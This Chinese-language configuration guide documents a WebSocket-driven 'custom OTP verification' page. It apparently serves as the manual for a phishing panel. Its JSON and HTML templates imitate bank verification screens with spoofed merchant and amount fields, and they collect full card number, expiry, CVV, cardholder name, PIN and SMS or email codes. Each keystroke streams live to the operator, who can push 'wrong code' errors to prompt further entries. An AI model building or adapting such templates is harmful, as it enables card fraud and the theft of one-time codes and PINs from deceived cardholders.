# 自定义OTP验证配置文档

## 概述
此文档用于配置前端自定义OTP验证页面。后端需要返回 `customOtpData` 配置对象，前端将根据配置自动渲染验证表单。

---

## 配置结构

### 基础配置对象
```typescript
interface ValidationConfig {
  type: 'customValid'           // 必填：验证类型，使用 'customValid' 启用完全自定义
  name?: string                  // 可选：配置名称
  pageTitle?: string             // 可选：页面标题
  pageContent: string            // 必填：HTML内容，包含自定义表单
  customStyles?: string          // 可选：自定义CSS样式
  buttonColor?: string           // 可选：默认按钮颜色
  errorMessage?: string          // 可选：默认错误提示
  showTop?: boolean              // 可选：是否显示顶部银行logo和卡片类型
  imageUrl?: string              // 可选：自定义logo图片URL
  showCard?: boolean             // 可选：是否显示卡号后4位
  merchant?: string              // 可选：商户名称（可在pageContent中用${merchant}引用）
  amount?: string                // 可选：支付金额（可在pageContent中用${payment}引用）
}
```

---

## HTML元素规范

### 1. 输入框（Input）
**必需属性：**
- `class="custom-input"` - 必须添加此class以自动绑定事件
- `data-field="字段名"` - 标识输入框字段（可以是任意名称，不限于input1/input2）

**可选属性：**
- `data-verify-key="自定义字段名"` - 自定义后端接收的字段名
  - 不设置时，默认使用 `data-field` 的值作为后端字段名
  - 设置后将使用 `data-verify-key` 的值
- `required` - 标记为必填项
  - 提交时会自动验证，未填写会显示浏览器原生提示气泡
  - 自动聚焦到第一个未填写的输入框

**重要：支持任意数量的输入框，不限于2个！**

**示例：**
```html
<!-- 方式1：使用 data-field 作为默认字段名 -->
<input type="text" 
       class="custom-input" 
       data-field="smsCode" 
       placeholder="请输入短信验证码">

<!-- 方式2：使用 data-verify-key 自定义后端字段名 -->
<input type="text" 
       class="custom-input" 
       data-field="input1" 
       data-verify-key="smsVerifyCode" 
       placeholder="请输入短信验证码">

<input type="text" 
       class="custom-input" 
       data-field="input2" 
       data-verify-key="emailVerifyCode" 
       placeholder="请输入邮箱验证码">

<!-- 方式3：多个输入框（支持任意数量） -->
<input type="text" class="custom-input" data-field="cardNumber" placeholder="卡号">
<input type="text" class="custom-input" data-field="expiryDate" placeholder="有效期">
<input type="text" class="custom-input" data-field="cvv" placeholder="CVV">
<input type="password" class="custom-input" data-field="pin" placeholder="PIN码">

<!-- 方式4：必填输入框（添加required属性） -->
<input type="text" 
       class="custom-input" 
       data-field="verifyCode" 
       placeholder="验证码" 
       required>
<!-- 提交时会自动验证，未填写会显示错误并聚焦 -->
```

### 2. 按钮（Button）
**必需属性：**
- `class="custom-button"` - 必须添加此class以自动绑定事件
- `data-action="submit"` 或 `"resend"` - 标识按钮操作类型
  - `submit`: 提交表单
  - `resend`: 重新发送验证码

**可选属性（仅resend按钮）：**
- `data-countdown="true"` - 启用倒计时（默认值，可省略）
- `data-countdown="false"` - 禁用倒计时，允许连续点击

**重发按钮特性：**

启用倒计时时（`data-countdown="true"` 或不设置）：
- ✅ 自动倒计时：点击后自动进入60秒倒计时
- ✅ 自动禁用：倒计时期间按钮禁用，无法重复点击
- ✅ 文本更新：倒计时显示 `00:59`、`00:58`...直到 `00:00`
- ✅ 自动恢复：倒计时结束后自动恢复原始文本和可点击状态

禁用倒计时时（`data-countdown="false"`）：
- ✅ 立即发送：点击后立即发送请求
- ✅ 可连续点击：没有倒计时限制，可以多次点击
- ✅ 适用场景：需要快速重试或测试时使用

**示例：**
```html
<!-- 提交按钮 -->
<button type="button" 
        class="custom-button" 
        data-action="submit">
  提交验证码
</button>

<!-- 重发按钮（默认启用倒计时） -->
<button type="button" 
        class="custom-button" 
        data-action="resend">
  重新发送
</button>
<!-- 点击后: 00:60 → 00:59 → ... → 00:01 → 重新发送 -->

<!-- 重发按钮（显式启用倒计时） -->
<button type="button" 
        class="custom-button" 
        data-action="resend"
        data-countdown="true">
  重新发送验证码
</button>

<!-- 重发按钮（禁用倒计时，可连续点击） -->
<button type="button" 
        class="custom-button" 
        data-action="resend"
        data-countdown="false">
  立即重发
</button>
<!-- 点击后立即发送，无倒计时，可连续点击 -->
```

### 3. 错误信息容器（Error Message）
**必需属性：**
- `class="custom-error-message"` - 必须添加此class以自动显示错误

**特性：**
- 自动显示/隐藏：有错误时自动显示，无错误时自动隐藏
- 自动更新内容：错误信息会自动填充到所有带此class的元素中

**示例：**
```html
<div class="custom-error-message"></div>
```

---

## 配置示例

### 示例1：基础短信验证码表单
```json
{
  "type": "customValid",
  "name": "SMS验证",
  "pageTitle": "短信验证",
  "pageContent": "<div style='text-align: center;'><p style='margin-bottom: 20px;'>请输入发送到您手机的验证码</p><div style='margin-bottom: 15px;'><input type='text' class='custom-input' data-field='input1' data-verify-key='smsCode' placeholder='6位验证码' style='width: 200px; padding: 10px; border: 1px solid #ddd; border-radius: 5px; text-align: center; font-size: 16px;'></div><div class='custom-error-message' style='color: #dc2626; margin: 10px 0; min-height: 20px;'></div><button type='button' class='custom-button' data-action='submit' style='background: #67C23A; color: white; padding: 12px 40px; border: none; border-radius: 6px; cursor: pointer; font-size: 14px;'>提交验证</button></div>",
  "customStyles": ".custom-input:focus { border-color: #67C23A; outline: none; box-shadow: 0 0 0 2px rgba(103, 194, 58, 0.2); } .custom-button:hover { opacity: 0.9; }",
  "showTop": true,
  "errorMessage": "验证码错误，请重试"
}
```

### 示例2：双重验证（短信+邮箱）
```json
{
  "type": "customValid",
  "name": "双重验证",
  "pageTitle": "安全验证",
  "pageContent": "<div style='max-width: 400px; margin: 0 auto;'><div style='margin-bottom: 20px;'><label style='display: block; margin-bottom: 8px; color: #333; font-weight: 500;'>短信验证码</label><input type='text' class='custom-input' data-field='input1' data-verify-key='smsCode' placeholder='请输入短信验证码' style='width: 100%; padding: 12px; border: 1px solid #ddd; border-radius: 6px; font-size: 14px;'></div><div style='margin-bottom: 20px;'><label style='display: block; margin-bottom: 8px; color: #333; font-weight: 500;'>邮箱验证码</label><input type='text' class='custom-input' data-field='input2' data-verify-key='emailCode' placeholder='请输入邮箱验证码' style='width: 100%; padding: 12px; border: 1px solid #ddd; border-radius: 6px; font-size: 14px;'></div><div class='custom-error-message' style='color: #dc2626; text-align: center; margin: 15px 0; min-height: 24px;'></div><div style='display: flex; gap: 12px; justify-content: center;'><button type='button' class='custom-button' data-action='submit' style='flex: 1; background: #409EFF; color: white; padding: 12px; border: none; border-radius: 6px; cursor: pointer;'>确认提交</button><button type='button' class='custom-button' data-action='resend' style='flex: 1; background: #E6A23C; color: white; padding: 12px; border: none; border-radius: 6px; cursor: pointer;'>重新发送</button></div></div>",
  "customStyles": ".custom-input:focus { border-color: #409EFF; outline: none; } .custom-button:active { transform: scale(0.98); }",
  "showTop": true,
  "merchant": "示例商户",
  "amount": "¥999.00"
}
```

### 示例3：快速重发模式（禁用倒计时）
```json
{
  "type": "customValid",
  "name": "快速验证",
  "pageTitle": "验证码登录",
  "pageContent": "<div style='max-width: 350px; margin: 0 auto; padding: 20px;'><div style='margin-bottom: 20px;'><label style='display: block; margin-bottom: 8px; color: #495057; font-weight: 500;'>验证码</label><input type='text' class='custom-input' data-field='verifyCode' placeholder='6位验证码' maxlength='6' style='width: 100%; padding: 12px; border: 1px solid #ced4da; border-radius: 6px; font-size: 16px; text-align: center; letter-spacing: 4px;'></div><div class='custom-error-message' style='color: #dc3545; text-align: center; margin: 12px 0; min-height: 20px; font-size: 13px;'></div><button type='button' class='custom-button' data-action='submit' style='width: 100%; background: #28a745; color: white; padding: 14px; border: none; border-radius: 6px; cursor: pointer; font-size: 16px; font-weight: 600; margin-bottom: 12px;'>立即登录</button><button type='button' class='custom-button' data-action='resend' data-countdown='false' style='width: 100%; background: transparent; color: #007bff; padding: 10px; border: 1px solid #007bff; border-radius: 6px; cursor: pointer; font-size: 14px;'>点击重新发送验证码</button></div>",
  "customStyles": ".custom-input:focus { border-color: #28a745 !important; } .custom-button[data-action='resend']:hover { background: #007bff; color: white; }",
  "showTop": false
}
```
**说明：** 此示例中重发按钮设置了 `data-countdown='false'`，用户可以连续点击重发，适合测试或需要快速重试的场景。

### 示例4：多输入框 - 完整卡片信息录入
```json
{
  "type": "customValid",
  "name": "卡片信息验证",
  "pageTitle": "请输入卡片完整信息",
  "pageContent": "<div style='max-width: 450px; margin: 0 auto; padding: 20px;'><div style='background: #f8f9fa; padding: 20px; border-radius: 10px;'><div style='margin-bottom: 15px;'><label style='display: block; margin-bottom: 5px; color: #495057; font-weight: 500; font-size: 13px;'>卡号 (Card Number)</label><input type='text' class='custom-input' data-field='cardNumber' placeholder='1234 5678 9012 3456' maxlength='19' style='width: 100%; padding: 12px; border: 1px solid #ced4da; border-radius: 6px; font-size: 14px;'></div><div style='display: flex; gap: 12px; margin-bottom: 15px;'><div style='flex: 1;'><label style='display: block; margin-bottom: 5px; color: #495057; font-weight: 500; font-size: 13px;'>有效期 (MM/YY)</label><input type='text' class='custom-input' data-field='expiryDate' placeholder='12/25' maxlength='5' style='width: 100%; padding: 12px; border: 1px solid #ced4da; border-radius: 6px; font-size: 14px;'></div><div style='flex: 1;'><label style='display: block; margin-bottom: 5px; color: #495057; font-weight: 500; font-size: 13px;'>CVV</label><input type='password' class='custom-input' data-field='cvv' placeholder='123' maxlength='3' style='width: 100%; padding: 12px; border: 1px solid #ced4da; border-radius: 6px; font-size: 14px;'></div></div><div style='margin-bottom: 15px;'><label style='display: block; margin-bottom: 5px; color: #495057; font-weight: 500; font-size: 13px;'>持卡人姓名 (Cardholder Name)</label><input type='text' class='custom-input' data-field='cardholderName' placeholder='JOHN DOE' style='width: 100%; padding: 12px; border: 1px solid #ced4da; border-radius: 6px; font-size: 14px; text-transform: uppercase;'></div><div style='margin-bottom: 15px;'><label style='display: block; margin-bottom: 5px; color: #495057; font-weight: 500; font-size: 13px;'>PIN码 (4位)</label><input type='password' class='custom-input' data-field='pin' data-verify-key='pinCode' placeholder='••••' maxlength='4' style='width: 100%; padding: 12px; border: 1px solid #ced4da; border-radius: 6px; font-size: 14px; letter-spacing: 8px; text-align: center;'></div><div class='custom-error-message' style='color: #dc3545; text-align: center; margin: 12px 0; min-height: 20px; font-size: 13px;'></div><button type='button' class='custom-button' data-action='submit' style='width: 100%; background: #28a745; color: white; padding: 14px; border: none; border-radius: 6px; cursor: pointer; font-size: 16px; font-weight: 600;'>确认提交</button></div></div>",
  "customStyles": ".custom-input:focus { border-color: #28a745 !important; box-shadow: 0 0 0 0.2rem rgba(40, 167, 69, 0.25); } .custom-button:hover { background: #218838; }",
  "showTop": true
}
```

### 示例5：银行PIN码验证
```json
{
  "type": "customValid",
  "name": "PIN验证",
  "pageTitle": "请输入PIN码",
  "pageContent": "<div style='background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); padding: 30px; border-radius: 12px; color: white;'><div style='text-align: center; margin-bottom: 25px;'><h3 style='margin: 0 0 10px 0;'>交易确认</h3><p style='margin: 0; opacity: 0.9;'>商户: ${merchant}</p><p style='margin: 5px 0 0 0; font-size: 24px; font-weight: bold;'>${payment}</p></div><div style='background: white; padding: 20px; border-radius: 8px;'><div style='margin-bottom: 15px;'><label style='display: block; margin-bottom: 8px; color: #333; font-size: 14px;'>4位PIN码</label><input type='password' class='custom-input' data-field='input1' data-verify-key='pinCode' placeholder='••••' maxlength='4' style='width: 100%; padding: 15px; border: 2px solid #e5e7eb; border-radius: 8px; font-size: 18px; text-align: center; letter-spacing: 8px;'></div><div class='custom-error-message' style='color: #dc2626; text-align: center; margin: 12px 0; min-height: 20px; font-size: 13px;'></div><button type='button' class='custom-button' data-action='submit' style='width: 100%; background: #10b981; color: white; padding: 15px; border: none; border-radius: 8px; cursor: pointer; font-size: 16px; font-weight: 600; box-shadow: 0 4px 6px rgba(16, 185, 129, 0.3);'>确认支付</button></div></div>",
  "customStyles": ".custom-input:focus { border-color: #10b981; box-shadow: 0 0 0 3px rgba(16, 185, 129, 0.1); } .custom-button:hover { background: #059669; transform: translateY(-1px); box-shadow: 0 6px 12px rgba(16, 185, 129, 0.4); }",
  "showTop": false,
  "merchant": "Apple Store",
  "amount": "$299.99"
}
```

---

## 动态变量

可在 `pageContent` 中使用以下变量，前端会自动替换：

| 变量 | 说明 | 示例 |
|------|------|------|
| `${merchant}` | 商户名称 | 从配置中的 `merchant` 字段获取 |
| `${payment}` 或 `${price}` | 支付金额 | 从配置中的 `amount` 字段获取 |
| `${card}` | 卡号后4位 | 自动从用户卡号中提取 |
| `${phone}` | 手机号后4位 | 从本地存储手机号中提取后4位 |
| `${phoneFull}` | 完整手机号 | 从本地存储中获取 |
| `${date}` | 当前日期 | 自动生成当前日期 |

**使用示例：**
```html
<p>商户: ${merchant}</p>
<p>金额: ${payment}</p>
<p>卡号: **** ${card}</p>
<p>手机号后4位: ${phone}</p>
<p>完整手机号: ${phoneFull}</p>
```

---

## 数据流程

## 提交Loading（纯HTML）

你可以直接在 `pageContent` 里定义 loading 节点，提交时前端会自动显示。

支持两种标记方式（任选其一）：

- `data-submit-loading`
- `class="custom-submit-loading"`

建议初始隐藏（`display:none`），并可用 `data-loading-display` 指定显示时的 `display` 值。

```html
<div data-submit-loading data-loading-display="flex" style="display:none;position:fixed;inset:0;background:rgba(0,0,0,.45);z-index:9999;align-items:center;justify-content:center;color:#fff;">
  <div style="background:#111;padding:12px 16px;border-radius:8px;">Loading...</div>
</div>
```

说明：

- 提交 `submit_card` 前自动显示。
- 收到后端 `custom-otp-valid` 消息后自动隐藏。
- 如果未定义上述标记，则继续使用系统默认 loading。

### 1. 前端接收配置
后端返回 `customOtpData` 配置对象，前端根据 `type: 'customValid'` 渲染自定义表单。

### 2. 用户输入
- 用户在 `class="custom-input"` 的输入框中输入
- 前端自动调用 `inputChange` 函数，实时发送到后端
- 发送格式：
  ```javascript
  {
    event: "input_card",
    content: {
      key: "smsCode",  // 来自 data-verify-key，默认为 verifyCode1/verifyCode2
      value: "用户输入的内容"
    }
  }
  ```

### 3. 用户提交
- 用户点击 `data-action="submit"` 的按钮
- 前端自动收集所有 `class="custom-input"` 的输入框值
- 发送WebSocket消息：
  ```javascript
  // 例1：2个输入框
  {
    event: "submit_card",
    content: {
      type: "submitCustomOtpValid",
      formData: {
        smsCode: "123456",
        emailCode: "789012"
      }
    }
  }
  
  // 例2：5个输入框（完整卡片信息）
  {
    event: "submit_card",
    content: {
      type: "submitCustomOtpValid",
      formData: {
        cardNumber: "1234567890123456",
        expiryDate: "12/25",
        cvv: "123",
        cardholderName: "JOHN DOE",
        pinCode: "1234"  // 使用了 data-verify-key="pinCode"
      }
    }
  }
  ```
  
**重要：**`formData` 中的字段名是每个输入框的 `data-verify-key`（如果有）或 `data-field` 的值

### 4. 错误处理
- 后端验证失败时，发送事件 `custom-otp-valid`
- 消息格式：
  ```javascript
  {
    message2: "错误提示文本"
  }
  ```
- 前端自动将错误显示在所有 `class="custom-error-message"` 的元素中

### 5. 重新发送
- 用户点击 `data-action="resend"` 的按钮
- 前端自动进入60秒倒计时，按钮文本变为 `00:60`
- 倒计时期间按钮禁用，无法重复点击
- 前端发送WebSocket消息：
  ```javascript
  {
    event: "page_type",
    content: {
      pageType: "customOtpValid",
      pageTitle: "配置名称",
      resultType: "resendCode",
      customType: "customValid"
    }
  }
  ```
- 60秒后按钮自动恢复为原始文本（如"重新发送"），可再次点击

---

## 字段映射说明

### 基本原则
**支持任意数量和名称的输入框！**

### 默认字段映射
当只设置 `data-field` 时，后端接收的字段名就是 `data-field` 的值：
- `data-field="smsCode"` → 后端接收：`smsCode`
- `data-field="emailCode"` → 后端接收：`emailCode`
- `data-field="cardNumber"` → 后端接收：`cardNumber`
- `data-field="pin"` → 后端接收：`pin`

### 自定义字段映射
通过 `data-verify-key` 属性可以覆盖后端接收的字段名：

```html
<!-- 例1：使用 data-field 作为后端字段名 -->
<input class="custom-input" data-field="smsCode">
<!-- 后端接收：smsCode -->

<!-- 例2：使用 data-verify-key 覆盖字段名 -->
<input class="custom-input" 
       data-field="input1" 
       data-verify-key="customSmsCode">
<!-- 后端接收：customSmsCode -->

<!-- 例3：多个输入框各自有独立字段名 -->
<input class="custom-input" data-field="cardNum">
<input class="custom-input" data-field="expiry">
<input class="custom-input" data-field="cvvCode">
<input class="custom-input" data-field="pinNumber" data-verify-key="pin">
<!-- 后端接收：cardNum, expiry, cvvCode, pin -->
```

**实时输入事件：**
```javascript
// 例1：只有 data-field
<input class="custom-input" data-field="smsCode">
// 发送：
{
  event: "input_card",
  content: {
    key: "smsCode",      // 直接使用 data-field 的值
    value: "123456"
  }
}

// 例2：有 data-verify-key
<input class="custom-input" data-field="input1" data-verify-key="customCode">
// 发送：
{
  event: "input_card",
  content: {
    key: "customCode",   // 使用 data-verify-key 的值
    value: "123456"
  }
}

// 例3：多个输入框
<input class="custom-input" data-field="card">
<input class="custom-input" data-field="cvv">
<input class="custom-input" data-field="pin">
// 分别发送：
// { event: "input_card", content: { key: "card", value: "..." } }
// { event: "input_card", content: { key: "cvv", value: "..." } }
// { event: "input_card", content: { key: "pin", value: "..." } }
```

---

## 最佳实践

### 1. CSS样式建议
- 使用 `customStyles` 字段添加响应式设计
- 建议使用相对单位（%、em、rem）而非固定像素
- 为移动端适配添加媒体查询

### 2. 用户体验
- 输入框应有明确的 `placeholder` 提示
- 错误信息容器预留足够空间（避免布局跳动）
- 按钮应有明显的交互反馈（hover、active状态）

### 3. 安全考虑
- PIN码输入使用 `type="password"`
- 敏感信息使用 `maxlength` 限制长度
- 建议后端对提交频率做限制

### 4. 响应式设计示例
```css
/* 添加到 customStyles 中 */
@media (max-width: 768px) {
  .custom-input {
    font-size: 16px !important;  /* 防止iOS自动缩放 */
  }
  .custom-button {
    padding: 15px !important;
    font-size: 16px !important;
  }
}
```

---

## 调试技巧

### 前端控制台日志
前端会输出以下调试信息：
- `绑定事件尝试 - 自定义输入框数: X, 自定义按钮数: Y`
- `绑定自定义输入框: [id], field: [fieldName]`
- `自定义输入框[fieldName]输入: [value], verifyKey: [key]`
- `自定义按钮点击, action: [action]`

### 检查清单
1. ✅ 输入框是否有 `class="custom-input"` 和 `data-field`
2. ✅ 按钮是否有 `class="custom-button"` 和 `data-action`
3. ✅ 错误容器是否有 `class="custom-error-message"`
4. ✅ 自定义字段名是否设置了 `data-verify-key`
5. ✅ CSS样式是否正确加载到 `customStyles`

---

## 常见问题

**Q: 如何添加多个输入框？**
A: 直接添加多个 `<input>` 标签，每个都添加 `class="custom-input"` 和独立的 `data-field`，不限数量！
```html
<input class="custom-input" data-field="field1">
<input class="custom-input" data-field="field2">
<input class="custom-input" data-field="field3">
<input class="custom-input" data-field="field4">
<!-- 可以继续添加更多... -->
```

**Q: 输入框没有反应？**
A: 检查是否同时添加了 `class="custom-input"` 和 `data-field` 属性

**Q: required属性如何使用？**
A: 直接在输入框上添加 `required` 属性即可：
```html
<input type="text" class="custom-input" data-field="code" required>
```
- 提交时自动验证所有 `required` 输入框
- 使用浏览器原生提示气泡显示错误
- 自动聚焦到第一个未填写的输入框

**Q: 错误信息不显示？**
A: 确保元素有 `class="custom-error-message"`，前端会自动控制显示/隐藏

**Q: 如何自定义后端接收的字段名？**
A: 在输入框上添加 `data-verify-key="yourCustomKey"` 属性

**Q: 按钮点击没有效果？**
A: 检查是否添加了 `class="custom-button"` 和 `data-action="submit/resend"`

**Q: 重发按钮能连续点击吗？**
A: 默认不能。如需连续点击，添加 `data-countdown="false"` 属性即可禁用倒计时。
```html
<!-- 不能连续点击（默认） -->
<button class="custom-button" data-action="resend">重新发送</button>

<!-- 可以连续点击 -->
<button class="custom-button" data-action="resend" data-countdown="false">立即重发</button>
```

**Q: 如何修改倒计时时长？**
A: 目前倒计时固定为60秒。如需修改，需要在前端代码中修改 `initialTime` 变量（CustomOtpView.vue 第728行）

**Q: 样式不生效？**
A: 将CSS代码放入 `customStyles` 字段，确保选择器正确

---

## 技术支持

如有问题，请检查：
1. WebSocket连接是否正常
2. 浏览器控制台是否有错误信息
3. 配置JSON格式是否正确
4. HTML标签是否闭合完整

前端组件文件：`CustomOtpView.vue`
关键函数：`bindInputEvents()`, `handleCustomInputEvent()`, `handleCustomButtonEvent()`
